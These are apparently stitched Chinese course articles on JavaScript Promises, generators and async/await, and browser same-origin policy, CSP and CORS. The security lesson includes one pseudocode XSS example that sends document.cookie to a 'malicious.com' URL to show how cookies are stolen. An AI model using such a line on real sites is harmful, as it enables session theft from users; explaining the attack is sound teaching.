function makeRequest(request_url) {
let request = {
method: 'Get',
url: request_url,
headers: '',
body: '',
credentials: false,
sync: true,
responseType: 'text',
referrer: ''
}
return request
}
```
然后就可以封装请求过程了这里我们将所有的请求细节封装进XFetch函数XFetch代码如下所示
```
//[in] request请求信息请求头延时值返回类型等
//[out] resolve, 执行成功,回调该函数
//[out] reject 执行失败,回调该函数
function XFetch(request, resolve, reject) {
let xhr = new XMLHttpRequest()
xhr.ontimeout = function (e) { reject(e) }
xhr.onerror = function (e) { reject(e) }
xhr.onreadystatechange = function () {
if (xhr.status = 200)
resolve(xhr.response)
}
xhr.open(request.method, URL, request.sync);
xhr.timeout = request.timeout;
xhr.responseType = request.responseType;
//补充其他请求信息
//...
xhr.send();
}
```
这个XFetch函数需要一个request作为输入然后还需要两个回调函数resolve和reject当请求成功时回调resolve函数当请求出现问题时回调reject函数。
有了这些后,我们就可以来实现业务代码了,具体的实现方式如下所示:
```
XFetch(makeRequest('https://time.geekbang.org'),
function resolve(data) {
console.log(data)
}, function reject(e) {
console.log(e)
})
```
## 新的问题:回调地狱
上面的示例代码已经比较符合人的线性思维了,在一些简单的场景下运行效果也是非常好的,不过一旦接触到稍微复杂点的项目时,你就会发现,如果嵌套了太多的回调函数就很容易使得自己陷入了**回调地狱**,不能自拔。你可以参考下面这段让人凌乱的代码:
```
XFetch(makeRequest('https://time.geekbang.org/?category'),
function resolve(response) {
console.log(response)
XFetch(makeRequest('https://time.geekbang.org/column'),
function resolve(response) {
console.log(response)
XFetch(makeRequest('https://time.geekbang.org')
function resolve(response) {
console.log(response)
}, function reject(e) {
console.log(e)
})
}, function reject(e) {
console.log(e)
})
}, function reject(e) {
console.log(e)
})
```
这段代码是先请求`time.geekbang.org/?category`,如果请求成功的话,那么再请求`time.geekbang.org/column`,如果再次请求成功的话,就继续请求`time.geekbang.org`。也就是说这段代码用了三层嵌套请求,就已经让代码变得混乱不堪,所以,我们还需要解决这种嵌套调用后混乱的代码结构。
这段代码之所以看上去很乱,归结其原因有两点:
- **第一是嵌套调用**,下面的任务依赖上个任务的请求结果,并**在上个任务的回调函数内部执行新的业务逻辑**,这样当嵌套层次多了之后,代码的可读性就变得非常差了。
- **第二是任务的不确定性**,执行每个任务都有两种可能的结果(成功或者失败),所以体现在代码中就需要对每个任务的执行结果做两次判断,这种对每个任务都要进行一次额外的错误处理的方式,明显增加了代码的混乱程度。
原因分析出来后,那么问题的解决思路就很清晰了:
- **第一是消灭嵌套调用**
- **第二是合并多个任务的错误处理**。
这么讲可能有点抽象不过Promise已经帮助我们解决了这两个问题。那么接下来我们就来看看Promise是怎么消灭嵌套调用和合并多个任务的错误处理的。
## Promise消灭嵌套调用和多次错误处理
首先我们使用Promise来重构XFetch的代码示例代码如下所示
```
function XFetch(request) {
function executor(resolve, reject) {
let xhr = new XMLHttpRequest()
xhr.open('GET', request.url, true)
xhr.ontimeout = function (e) { reject(e) }
xhr.onerror = function (e) { reject(e) }
xhr.onreadystatechange = function () {
if (this.readyState === 4) {
if (this.status === 200) {
resolve(this.responseText, this)
} else {
let error = {
code: this.status,
response: this.response
}
reject(error, this)
}
}
}
xhr.send()
}
return new Promise(executor)
}
```
接下来我们再利用XFetch来构造请求流程代码如下
```
var x1 = XFetch(makeRequest('https://time.geekbang.org/?category'))
var x2 = x1.then(value =&gt; {
console.log(value)
return XFetch(makeRequest('https://www.geekbang.org/column'))
})
var x3 = x2.then(value =&gt; {
console.log(value)
return XFetch(makeRequest('https://time.geekbang.org'))
})
x3.catch(error =&gt; {
console.log(error)
})
```
你可以观察上面这两段代码重点关注下Promise的使用方式。
- 首先我们引入了Promise在调用XFetch时会返回一个Promise对象。
- 构建Promise对象时需要传入一个**executor函数**XFetch的主要业务流程都在executor函数中执行。
- 如果运行在excutor函数中的业务执行成功了会调用resolve函数如果执行失败了则调用reject函数。
- 在excutor函数中调用resolve函数时会触发promise.then设置的回调函数而调用reject函数时会触发promise.catch设置的回调函数。
以上简单介绍了Promise一些主要的使用方法通过引入Promise上面这段代码看起来就非常线性了也非常符合人的直觉是不是很酷基于这段代码我们就可以来分析Promise是如何消灭嵌套回调和合并多个错误处理了。
我们先来看看Promise是怎么消灭嵌套回调的。产生嵌套函数的一个主要原因是在发起任务请求时会带上回调函数这样当任务处理结束之后下个任务就只能在回调函数中来处理了。
Promise主要通过下面两步解决嵌套回调问题的。
**首先Promise实现了回调函数的延时绑定**。回调函数的延时绑定在代码上体现就是先创建Promise对象x1通过Promise的构造函数executor来执行业务逻辑创建好Promise对象x1之后再使用x1.then来设置回调函数。示范代码如下
```
//创建Promise对象x1并在executor函数中执行业务逻辑
function executor(resolve, reject){
resolve(100)
}
let x1 = new Promise(executor)
//x1延迟绑定回调函数onResolve
function onResolve(value){
console.log(value)
}
x1.then(onResolve)
```
**其次需要将回调函数onResolve的返回值穿透到最外层**。因为我们会根据onResolve函数的传入值来决定创建什么类型的Promise任务创建好的Promise对象需要返回到最外层这样就可以摆脱嵌套循环了。你可以先看下面的代码
<img src="https://static001.geekbang.org/resource/image/ef/7f/efcc4fcbebe75b4f6e92c89b968b4a7f.png" alt="">
现在我们知道了Promise通过回调函数延迟绑定和回调函数返回值穿透的技术解决了循环嵌套。
那接下来我们再来看看Promise是怎么处理异常的你可以回顾[上篇文章](https://time.geekbang.org/column/article/135624)思考题留的那段代码,我把这段代码也贴在文中了,如下所示:
```
function executor(resolve, reject) {
let rand = Math.random();
console.log(1)
console.log(rand)
if (rand &gt; 0.5)
resolve()
else
reject()
}
var p0 = new Promise(executor);
var p1 = p0.then((value) =&gt; {
console.log(&quot;succeed-1&quot;)
return new Promise(executor)
})
var p3 = p1.then((value) =&gt; {
console.log(&quot;succeed-2&quot;)
return new Promise(executor)
})
var p4 = p3.then((value) =&gt; {
console.log(&quot;succeed-3&quot;)
return new Promise(executor)
})
p4.catch((error) =&gt; {
console.log(&quot;error&quot;)
})
console.log(2)
```
这段代码有四个Promise对象p0p4。无论哪个对象里面抛出异常都可以通过最后一个对象p4.catch来捕获异常通过这种方式可以将所有Promise对象的错误合并到一个函数来处理这样就解决了每个任务都需要单独处理异常的问题。
之所以可以使用最后一个对象来捕获所有异常是因为Promise对象的错误具有“冒泡”性质会一直向后传递直到被onReject函数处理或catch语句捕获为止。具备了这样“冒泡”的特性后就不需要在每个Promise对象中单独捕获异常了。至于Promise错误的“冒泡”性质是怎么实现的就留给你课后思考了。
通过这种方式,我们就消灭了嵌套调用和频繁的错误处理,这样使得我们写出来的代码更加优雅,更加符合人的线性思维。
## Promise与微任务
讲了这么多我们似乎还没有将微任务和Promise关联起来那么Promise和微任务的关系到底体现哪里呢
我们可以结合下面这个简单的Promise代码来回答这个问题
```
function executor(resolve, reject) {
resolve(100)
}
let demo = new Promise(executor)
function onResolve(value){
console.log(value)
}
demo.then(onResolve)
```
对于上面这段代码,我们需要重点关注下它的执行顺序。
首先执行new Promise时Promise的构造函数会被执行不过由于Promise是V8引擎提供的所以暂时看不到Promise构造函数的细节。
接下来Promise的构造函数会调用Promise的参数executor函数。然后在executor中执行了resolveresolve函数也是在V8内部实现的那么resolve函数到底做了什么呢我们知道执行resolve函数会触发demo.then设置的回调函数onResolve所以可以推测resolve函数内部调用了通过demo.then设置的onResolve函数。
不过这里需要注意一下由于Promise采用了回调函数延迟绑定技术所以在执行resolve函数的时候回调函数还没有绑定那么只能推迟回调函数的执行。
这样按顺序陈述可能把你绕晕了下面来模拟实现一个Promise我们会实现它的构造函数、resolve方法以及then方法以方便你能看清楚Promise的背后都发生了什么。这里我们就把这个对象称为Bromise下面就是Bromise的实现代码
```
function Bromise(executor) {
var onResolve_ = null
var onReject_ = null
//模拟实现resolve和then暂不支持rejcet
this.then = function (onResolve, onReject) {
onResolve_ = onResolve
};
function resolve(value) {
//setTimeout(()=&gt;{
onResolve_(value)
// },0)
}
executor(resolve, null);
}
```
观察上面这段代码我们实现了自己的构造函数、resolve、then方法。接下来我们使用Bromise来实现我们的业务代码实现后的代码如下所示
```
function executor(resolve, reject) {
resolve(100)
}
//将Promise改成我们自己的Bromsie
let demo = new Bromise(executor)
function onResolve(value){
console.log(value)
}
demo.then(onResolve)
```
执行这段代码,我们发现执行出错,输出的内容是:
```
Uncaught TypeError: onResolve_ is not a function
at resolve (&lt;anonymous&gt;:10:13)
at executor (&lt;anonymous&gt;:17:5)
at new Bromise (&lt;anonymous&gt;:13:5)
at &lt;anonymous&gt;:19:12
```
之所以出现这个错误是由于Bromise的延迟绑定导致的在调用到onResolve_函数的时候Bromise.then还没有执行所以执行上述代码的时候当然会报“onResolve_ is not a function“的错误了。
也正是因为此我们要改造Bromise中的resolve方法让resolve延迟调用onResolve_。
要让resolve中的onResolve_函数延后执行可以在resolve函数里面加上一个定时器让其延时执行onResolve_函数你可以参考下面改造后的代码
```
function resolve(value) {
setTimeout(()=&gt;{
onResolve_(value)
},0)
}
```
上面采用了定时器来推迟onResolve的执行不过使用定时器的效率并不是太高好在我们有微任务所以Promise又把这个定时器改造成了微任务了这样既可以让onResolve_延时被调用又提升了代码的执行效率。这就是Promise中使用微任务的原由了。
## 总结
好了,今天我们就聊到这里,下面我来总结下今天所讲的内容。
首先我们回顾了Web页面是单线程架构模型这种模型决定了我们编写代码的形式——异步编程。基于异步编程模型写出来的代码会把一些关键的逻辑点打乱所以这种风格的代码不符合人的线性思维方式。接下来我们试着把一些不必要的回调接口封装起来简单封装取得了一定的效果不过在稍微复制点的场景下依然存在着回调地狱的问题。然后我们分析了产生回调地狱的原因
1. 多层嵌套的问题;
1. 每种任务的处理结果存在两种可能性(成功或失败),那么需要在每种任务执行结束后分别处理这两种可能性。
Promise通过回调函数延迟绑定、回调函数返回值穿透和错误“冒泡”技术解决了上面的两个问题。
最后我们还分析了Promise之所以要使用微任务是由Promise回调函数延迟绑定技术导致的。
## 思考时间
终于把Promise讲完了这一篇文章非常有难度所以需要你课后慢慢消消化再次提醒Promise非常重要。那么今天我给你留三个思考题
1. Promise中为什么要引入微任务
1. Promise中是如何实现回调函数返回值穿透的
1. Promise出错后是怎么通过“冒泡”传递给最后那个捕获异常的函数
这三个问题你不用急着完成可以先花一段时间查阅材料然后再来一道一道解释。搞清楚了这三道题目你也就搞清楚了Promise。
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,296 @@
<audio id="audio" title="20 | async/await使用同步的方式去写异步代码" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/dd/77/dd83216c820b30c256d4156d85f36677.mp3"></audio>
在[上篇文章](https://time.geekbang.org/column/article/136895)中我们介绍了怎么使用Promise来实现回调操作使用Promise能很好地解决回调地狱的问题但是这种方式充满了Promise的then()方法如果处理流程比较复杂的话那么整段代码将充斥着then语义化不明显代码不能很好地表示执行流程。
比如下面这样一个实际的使用场景我先请求极客邦的内容等返回信息之后我再请求极客邦的另外一个资源。下面代码展示的是使用fetch来实现这样的需求fetch被定义在window对象中可以用它来发起对远程资源的请求该方法返回的是一个Promise对象这和我们上篇文章中讲的XFetch很像只不过fetch是浏览器原生支持的并有没利用XMLHttpRequest来封装。
```
fetch('https://www.geekbang.org')
.then((response) =&gt; {
console.log(response)
return fetch('https://www.geekbang.org/test')
}).then((response) =&gt; {
console.log(response)
}).catch((error) =&gt; {
console.log(error)
})
```
从这段Promise代码可以看出来使用promise.then也是相当复杂虽然整个请求流程已经线性化了但是代码里面包含了大量的then函数使得代码依然不是太容易阅读。**基于这个原因ES7 引入了async/await这是JavaScript异步编程的一个重大改进提供了在不阻塞主线程的情况下使用同步代码实现异步访问资源的能力并且使得代码逻辑更加清晰**。你可以参考下面这段代码:
```
async function foo(){
try{
let response1 = await fetch('https://www.geekbang.org')
console.log('response1')
console.log(response1)
let response2 = await fetch('https://www.geekbang.org/test')
console.log('response2')
console.log(response2)
}catch(err) {
console.error(err)
}
}
foo()
```
通过上面代码你会发现整个异步处理的逻辑都是使用同步代码的方式来实现的而且还支持try catch来捕获异常这就是完全在写同步代码所以是非常符合人的线性思维的。但是很多人都习惯了异步回调的编程思维对于这种采用同步代码实现异步逻辑的方式还需要一个转换的过程因为这中间隐藏了一些容易让人迷惑的细节。
那么本篇文章我们继续深入看看JavaScript引擎是如何实现async/await的。如果上来直接介绍async/await的使用方式的话那么你可能会有点懵所以我们就从其最底层的技术点一步步往上讲解从而带你彻底弄清楚async和await到底是怎么工作的。
本文我们首先介绍生成器Generator是如何工作的接着讲解Generator的底层实现机制——协程Coroutine又因为async/await使用了Generator和Promise两种技术所以紧接着我们就通过Generator和Promise来分析async/await到底是如何以同步的方式来编写异步代码的。
## 生成器 VS 协程
我们先来看看什么是生成器函数?
**生成器函数是一个带星号函数,而且是可以暂停执行和恢复执行的**。我们可以看下面这段代码:
```
function* genDemo() {
console.log(&quot;开始执行第一段&quot;)
yield 'generator 2'
console.log(&quot;开始执行第二段&quot;)
yield 'generator 2'
console.log(&quot;开始执行第三段&quot;)
yield 'generator 2'
console.log(&quot;执行结束&quot;)
return 'generator 2'
}
console.log('main 0')
let gen = genDemo()
console.log(gen.next().value)
console.log('main 1')
console.log(gen.next().value)
console.log('main 2')
console.log(gen.next().value)
console.log('main 3')
console.log(gen.next().value)
console.log('main 4')
```
执行上面这段代码观察输出结果你会发现函数genDemo并不是一次执行完的全局代码和genDemo函数交替执行。其实这就是生成器函数的特性可以暂停执行也可以恢复执行。下面我们就来看看生成器函数的具体使用方式
1. 在生成器函数内部执行一段代码如果遇到yield关键字那么JavaScript引擎将返回关键字后面的内容给外部并暂停该函数的执行。
1. 外部函数可以通过next方法恢复函数的执行。
关于函数的暂停和恢复相信你一定很好奇这其中的原理那么接下来我们就来简单介绍下JavaScript引擎V8是如何实现一个函数的暂停和恢复的这也会有助于你理解后面要介绍的async/await。
要搞懂函数为何能暂停和恢复,那你首先要了解协程的概念。**协程是一种比线程更加轻量级的存在**。你可以把协程看成是跑在线程上的任务一个线程上可以存在多个协程但是在线程上同时只能执行一个协程比如当前执行的是A协程要启动B协程那么A协程就需要将主线程的控制权交给B协程这就体现在A协程暂停执行B协程恢复执行同样也可以从B协程中启动A协程。通常**如果从A协程启动B协程我们就把A协程称为B协程的父协程**。
正如一个进程可以拥有多个线程一样,一个线程也可以拥有多个协程。最重要的是,协程不是被操作系统内核所管理,而完全是由程序所控制(也就是在用户态执行)。这样带来的好处就是性能得到了很大的提升,不会像线程切换那样消耗资源。
为了让你更好地理解协程是怎么执行的,我结合上面那段代码的执行过程,画出了下面的“协程执行流程图”,你可以对照着代码来分析:
<img src="https://static001.geekbang.org/resource/image/5e/37/5ef98bd693bcd5645e83418b0856e437.png" alt="">
从图中可以看出来协程的四点规则:
1. 通过调用生成器函数genDemo来创建一个协程gen创建之后gen协程并没有立即执行。
1. 要让gen协程执行需要通过调用gen.next。
1. 当协程正在执行的时候可以通过yield关键字来暂停gen协程的执行并返回主要信息给父协程。
1. 如果协程在执行期间遇到了return关键字那么JavaScript引擎会结束当前协程并将return后面的内容返回给父协程。
不过对于上面这段代码你可能又有这样疑问父协程有自己的调用栈gen协程时也有自己的调用栈当gen协程通过yield把控制权交给父协程时V8是如何切换到父协程的调用栈当父协程通过gen.next恢复gen协程时又是如何切换gen协程的调用栈
要搞清楚上面的问题,你需要关注以下两点内容。
第一点gen协程和父协程是在主线程上交互执行的并不是并发执行的它们之前的切换是通过yield和gen.next来配合完成的。
第二点当在gen协程中调用了yield方法时JavaScript引擎会保存gen协程当前的调用栈信息并恢复父协程的调用栈信息。同样当在父协程中执行gen.next时JavaScript引擎会保存父协程的调用栈信息并恢复gen协程的调用栈信息。
为了直观理解父协程和gen协程是如何切换调用栈的你可以参考下图
<img src="https://static001.geekbang.org/resource/image/92/40/925f4a9a1c85374352ee93c5e3c41440.png" alt="">
到这里相信你已经弄清楚了协程是怎么工作的其实在JavaScript中生成器就是协程的一种实现方式这样相信你也就理解什么是生成器了。那么接下来我们使用生成器和Promise来改造开头的那段Promise代码。改造后的代码如下所示
```
//foo函数
function* foo() {
let response1 = yield fetch('https://www.geekbang.org')
console.log('response1')
console.log(response1)
let response2 = yield fetch('https://www.geekbang.org/test')
console.log('response2')
console.log(response2)
}
//执行foo函数的代码
let gen = foo()
function getGenPromise(gen) {
return gen.next().value
}
getGenPromise(gen).then((response) =&gt; {
console.log('response1')
console.log(response)
return getGenPromise(gen)
}).then((response) =&gt; {
console.log('response2')
console.log(response)
})
```
从图中可以看到foo函数是一个生成器函数在foo函数里面实现了用同步代码形式来实现异步操作但是在foo函数外部我们还需要写一段执行foo函数的代码如上述代码的后半部分所示那下面我们就来分析下这段代码是如何工作的。
- 首先执行的是`let gen = foo()`创建了gen协程。
- 然后在父协程中通过执行gen.next把主线程的控制权交给gen协程。
- gen协程获取到主线程的控制权后就调用fetch函数创建了一个Promise对象response1然后通过yield暂停gen协程的执行并将response1返回给父协程。
- 父协程恢复执行后调用response1.then方法等待请求结果。
- 等通过fetch发起的请求完成之后会调用then中的回调函数then中的回调函数拿到结果之后通过调用gen.next放弃主线程的控制权将控制权交gen协程继续执行下个请求。
以上就是协程和Promise相互配合执行的一个大致流程。不过通常我们把执行生成器的代码封装成一个函数并把这个执行生成器代码的函数称为**执行器**可参考著名的co框架如下面这种方式
```
function* foo() {
let response1 = yield fetch('https://www.geekbang.org')
console.log('response1')
console.log(response1)
let response2 = yield fetch('https://www.geekbang.org/test')
console.log('response2')
console.log(response2)
}
co(foo());
```
通过使用生成器配合执行器,就能实现使用同步的方式写出异步代码了,这样也大大加强了代码的可读性。
## async/await
虽然生成器已经能很好地满足我们的需求了但是程序员的追求是无止境的这不又在ES7中引入了async/await这种方式能够彻底告别执行器和生成器实现更加直观简洁的代码。其实async/await技术背后的秘密就是Promise和生成器应用往低层说就是微任务和协程应用。要搞清楚async和await的工作原理我们就得对async和await分开分析。
### 1. async
我们先来看看async到底是什么根据MDN定义async是一个通过**异步执行**并**隐式返回 Promise** 作为结果的函数。
对async函数的理解这里需要重点关注两个词**异步执行**和**隐式返回 Promise**。
关于异步执行的原因我们一会儿再分析。这里我们先来看看是如何隐式返回Promise的你可以参考下面的代码
```
async function foo() {
return 2
}
console.log(foo()) // Promise {&lt;resolved&gt;: 2}
```
执行这段代码我们可以看到调用async声明的foo函数返回了一个Promise对象状态是resolved返回结果如下所示
```
Promise {&lt;resolved&gt;: 2}
```
### 2. await
我们知道了async函数返回的是一个Promise对象那下面我们再结合文中这段代码来看看await到底是什么。
```
async function foo() {
console.log(1)
let a = await 100
console.log(a)
console.log(2)
}
console.log(0)
foo()
console.log(3)
```
观察上面这段代码你能判断出打印出来的内容是什么吗这得先来分析async结合await到底会发生什么。在详细介绍之前我们先站在协程的视角来看看这段代码的整体执行流程图
<img src="https://static001.geekbang.org/resource/image/8d/94/8dcd8cfa77d43d1fb928d8b001229b94.png" alt="">
结合上图我们来一起分析下async/await的执行流程。
首先,执行`console.log(0)`这个语句打印出来0。
紧接着就是执行foo函数由于foo函数是被async标记过的所以当进入该函数的时候JavaScript引擎会保存当前的调用栈等信息然后执行foo函数中的`console.log(1)`语句并打印出1。
接下来就执行到foo函数中的`await 100`这个语句了,这里是我们分析的重点,因为在执行`await 100`这个语句时JavaScript引擎在背后为我们默默做了太多的事情那么下面我们就把这个语句拆开来看看JavaScript到底都做了哪些事情。
当执行到`await 100`会默认创建一个Promise对象代码如下所示
```
let promise_ = new Promise((resolve,reject){
resolve(100)
})
```
在这个promise_对象创建的过程中我们可以看到在executor函数中调用了resolve函数JavaScript引擎会将该任务提交给微任务队列[上一篇文章](https://time.geekbang.org/column/article/136895)中我们讲解过)。
然后JavaScript引擎会暂停当前协程的执行将主线程的控制权转交给父协程执行同时会将promise_对象返回给父协程。
主线程的控制权已经交给父协程了这时候父协程要做的一件事是调用promise_.then来监控promise状态的改变。
接下来继续执行父协程的流程,这里我们执行`console.log(3)`并打印出来3。随后父协程将执行结束在结束之前会进入微任务的检查点然后执行微任务队列微任务队列中有`resolve(100)`的任务等待执行执行到这里的时候会触发promise_.then中的回调函数如下所示
```
promise_.then((value)=&gt;{
//回调函数被激活后
//将主线程控制权交给foo协程并将vaule值传给协程
})
```
该回调函数被激活以后会将主线程的控制权交给foo函数的协程并同时将value值传给该协程。
foo协程激活之后会把刚才的value值赋给了变量a然后foo协程继续执行后续语句执行完成之后将控制权归还给父协程。
以上就是await/async的执行流程。正是因为async和await在背后为我们做了大量的工作所以我们才能用同步的方式写出异步代码来。
## 总结
好了,今天就介绍到这里,下面我来总结下今天的主要内容。
Promise的编程模型依然充斥着大量的then方法虽然解决了回调地狱的问题但是在语义方面依然存在缺陷代码中充斥着大量的then函数这就是async/await出现的原因。
使用async/await可以实现用同步代码的风格来编写异步代码这是因为async/await的基础技术使用了生成器和Promise生成器是协程的实现利用生成器能实现生成器函数的暂停和恢复。
另外V8引擎还为async/await做了大量的语法层面包装所以了解隐藏在背后的代码有助于加深你对async/await的理解。
async/await无疑是异步编程领域非常大的一个革新也是未来的一个主流的编程风格。其实除了JavaScriptPython、Dart、C#等语言也都引入了async/await使用它不仅能让代码更加整洁美观而且还能确保该函数始终都能返回Promise。
## 思考时间
下面这段代码整合了定时器、Promise和async/await你能分析出来这段代码执行后输出的内容吗
```
async function foo() {
console.log('foo')
}
async function bar() {
console.log('bar start')
await foo()
console.log('bar end')
}
console.log('script start')
setTimeout(function () {
console.log('setTimeout')
}, 0)
bar();
new Promise(function (resolve) {
console.log('promise executor')
resolve();
}).then(function () {
console.log('promise then')
})
console.log('script end')
```
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

@@ -0,0 +1,137 @@
<audio id="audio" title="32 | 同源策略为什么XMLHttpRequest不能跨域请求资源" controls="" preload="none"><source id="mp3" src="https://static001.geekbang.org/resource/audio/ad/5a/ad6bcea8db1937b21a5182c6a53f415a.mp3"></audio>
通过前面6个模块的介绍我们已经大致知道浏览器是怎么工作的了也了解这种工作方式对前端产生了什么样的影响。在这个过程中我们还穿插介绍了一些浏览器安全相关的内容不过都比较散所以最后的5篇文章我们就来系统地介绍下浏览器安全相关的内容。
浏览器安全可以分为三大块——**Web页面安全、浏览器网络安全**和**浏览器系统安全**,所以本模块我们就按照这个思路来做介绍。鉴于页面安全的重要性,我们会用三篇文章来介绍该部分的知识;网络安全和系统安全则分别用一篇来介绍。
今天我们就先来分析页面中的安全策略不过在开始之前我们先来做个假设如果页面中没有安全策略的话Web世界会是什么样子的呢
Web世界会是开放的任何资源都可以接入其中我们的网站可以加载并执行别人网站的脚本文件、图片、音频/视频等资源,甚至可以下载其他站点的可执行文件。
Web世界是开放的这很符合Web理念。但如果Web世界是绝对自由的那么页面行为将没有任何限制这会造成无序或者混沌的局面出现很多不可控的问题。
比如你打开了一个银行站点,然后又一不小心打开了一个恶意站点,如果没有安全措施,恶意站点就可以做很多事情:
- 修改银行站点的DOM、CSSOM等信息
- 在银行站点内部插入JavaScript脚本
- 劫持用户登录的用户名和密码;
- 读取银行站点的Cookie、IndexDB等数据
- 甚至还可以将这些信息上传至自己的服务器,这样就可以在你不知情的情况下伪造一些转账请求等信息。
所以说,**在没有安全保障的Web世界中我们是没有隐私的因此需要安全策略来保障我们的隐私和数据的安全**。
这就引出了页面中最基础、最核心的安全策略:**同源策略Same-origin policy**。
## 什么是同源策略
要了解什么是同源策略,我们得先来看看什么是同源。
**如果两个URL的协议、域名和端口都相同我们就称这两个URL同源**。比如下面这两个URL它们具有相同的协议HTTPS、相同的域名time.geekbang.org以及相同的端口443所以我们就说这两个URL是同源的。
```
https://time.geekbang.org/?category=1
https://time.geekbang.org/?category=0
```
浏览器默认两个相同的源之间是可以相互访问资源和操作DOM的。两个不同的源之间若想要相互访问资源或者操作DOM那么会有一套基础的安全策略的制约我们把这称为同源策略。
具体来讲同源策略主要表现在DOM、Web数据和网络这三个层面。
**第一个DOM层面**。同源策略限制了来自不同源的JavaScript脚本对当前DOM对象读和写的操作。
这里我们还是拿极客时间的官网做例子,打开极客时间的官网,然后再从官网中打开另外一个专栏页面,如下图所示:
<img src="https://static001.geekbang.org/resource/image/c9/d7/c9294ee10c571c8b7061a5c8f03b6cd7.png" alt="">
由于第一个页面和第二个页面是同源关系所以我们可以在第二个页面中操作第一个页面的DOM比如将第一个页面全部隐藏掉代码如下所示
```
{
let pdom = opener.document
pdom.body.style.display = &quot;none&quot;
}
```
该代码中对象opener就是指向第一个页面的window对象我们可以通过操作opener来控制第一个页面中的DOM。
我们在第二个页面的控制台中执行上面那段代码就成功地操作了第一个页面中的DOM将页面隐藏了如下图
<img src="https://static001.geekbang.org/resource/image/2a/25/2a988d3d2f82aa4230f2b5025134b125.png" alt="">
不过如果打开的第二个页面和第一个页面不是同源的那么它们就无法相互操作DOM了。比如从极客时间官网打开InfoQ的页面由于它们的域名不同所以不是同源的然后我们还按照前面同样的步骤来操作最终操作结果如下图所示
<img src="https://static001.geekbang.org/resource/image/71/b5/711d96a58f670bda0d9b9608165839b5.png" alt="">
从图中可以看出当我们在InfoQ的页面中访问极客时间页面中的DOM时页面抛出了如下的异常信息这就是同源策略所发挥的作用。
```
Blocked a frame with origin &quot;https://www.infoq.cn&quot; from accessing a cross-origin frame.
```
**第二个,数据层面**。同源策略限制了不同源的站点读取当前站点的Cookie、IndexDB、LocalStorage等数据。由于同源策略我们依然无法通过第二个页面的opener来访问第一个页面中的Cookie、IndexDB或者LocalStorage等内容。你可以自己试一下这里我们就不做演示了。
**第三个,网络层面**。同源策略限制了通过XMLHttpRequest等方式将站点的数据发送给不同源的站点。你还记得在[《17 | WebAPIXMLHttpRequest是怎么实现的](https://time.geekbang.org/column/article/135127)这篇文章的末尾分析的XMLHttpRequest在使用过程中所遇到的坑吗其中第一个坑就是在默认情况下不能访问跨域的资源。
## 安全和便利性的权衡
我们了解了同源策略会隔离不同源的DOM、页面数据和网络通信进而实现Web页面的安全性。
不过安全性和便利性是相互对立的让不同的源之间绝对隔离无疑是最安全的措施但这也会使得Web项目难以开发和使用。因此我们就要在这之间做出权衡出让一些安全性来满足灵活性而出让安全性又带来了很多安全问题最典型的是XSS攻击和CSRF攻击这两种攻击我们会在后续两篇文章中再做介绍本文我们只聊浏览器出让了同源策略的哪些安全性。
### 1. 页面中可以嵌入第三方资源
我们在文章开头提到过Web世界是开放的可以接入任何资源而同源策略要让一个页面的所有资源都来自于同一个源也就是要将该页面的所有HTML文件、JavaScript文件、CSS文件、图片等资源都部署在同一台服务器上这无疑违背了Web的初衷也带来了诸多限制。比如将不同的资源部署到不同的CDN上时CDN上的资源就部署在另外一个域名上因此我们就需要同源策略对页面的引用资源开一个“口子”让其任意引用外部文件。
所以最初的浏览器都是支持外部引用资源文件的不过这也带来了很多问题。之前在开发浏览器的时候遇到最多的一个问题是浏览器的首页内容会被一些恶意程序劫持劫持的途径很多其中最常见的是恶意程序通过各种途径往HTML文件中插入恶意脚本。
比如恶意程序在HTML文件内容中插入如下一段JavaScript代码
<img src="https://static001.geekbang.org/resource/image/74/de/741dc2c53217aee177d18375a7aa94de.png" alt="">
当这段HTML文件的数据被送达浏览器时浏览器是无法区分被插入的文件是恶意的还是正常的这样恶意脚本就寄生在页面之中当页面启动时它可以修改用户的搜索结果、改变一些内容的连接指向等等。
除此之外它还能将页面的的敏感数据如Cookie、IndexDB、LoacalStorage等数据通过XSS的手段发送给服务器。具体来讲就是当你不小心点击了页面中的一个恶意链接时恶意JavaScript代码可以读取页面数据并将其发送给服务器如下面这段伪代码
```
function onClick(){
let url = `http://malicious.com?cookie = ${document.cookie}`
open(url)
}
onClick()
```
在这段代码中恶意脚本读取Cookie数据并将其作为参数添加至恶意站点尾部当打开该恶意页面时恶意服务器就能接收到当前用户的Cookie信息。
以上就是一个非常典型的XSS攻击。为了解决XSS攻击浏览器中引入了内容安全策略称为CSP。**CSP的核心思想是让服务器决定浏览器能够加载哪些资源让服务器决定浏览器是否能够执行内联JavaScript代码**。通过这些手段就可以大大减少XSS攻击。
### 2. 跨域资源共享和跨文档消息机制
默认情况下如果打开极客邦的官网页面在官网页面中通过XMLHttpRequest或者Fetch来请求InfoQ中的资源这时同源策略会阻止其向InfoQ发出请求这样会大大制约我们的生产力。
为了解决这个问题,我们引入了**跨域资源共享CORS**,使用该机制可以进行跨域访问控制,从而使跨域数据传输得以安全进行。
在介绍同源策略时我们说明了如果两个页面不是同源的则无法相互操纵DOM。不过在实际应用中经常需要两个不同源的DOM之间进行通信于是浏览器中又引入了**跨文档消息机制**可以通过window.postMessage的JavaScript接口来和不同源的DOM进行通信。
## 总结
好了,今天就介绍到这里,下面我来总结下本文的主要内容。
同源策略会隔离不同源的DOM、页面数据和网络通信进而实现Web页面的安全性。
不过鱼和熊掌不可兼得,要绝对的安全就要牺牲掉便利性,因此我们要在这二者之间做权衡,找到中间的一个平衡点,也就是目前的页面安全策略原型。总结起来,它具备以下三个特点:
1. 页面中可以引用第三方资源不过这也暴露了很多诸如XSS的安全问题因此又在这种开放的基础之上引入了CSP来限制其自由程度。
1. 使用XMLHttpRequest和Fetch都是无法直接进行跨域请求的因此浏览器又在这种严格策略的基础之上引入了跨域资源共享策略让其可以安全地进行跨域操作。
1. 两个不同源的DOM是不能相互操纵的因此浏览器中又实现了跨文档消息机制让其可以比较安全地通信。
## 思考时间
今天留给你的作业你来总结一下同源策略、CSP和CORS之间的关系这对于你理解浏览器的安全策略至关重要。
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。

View File

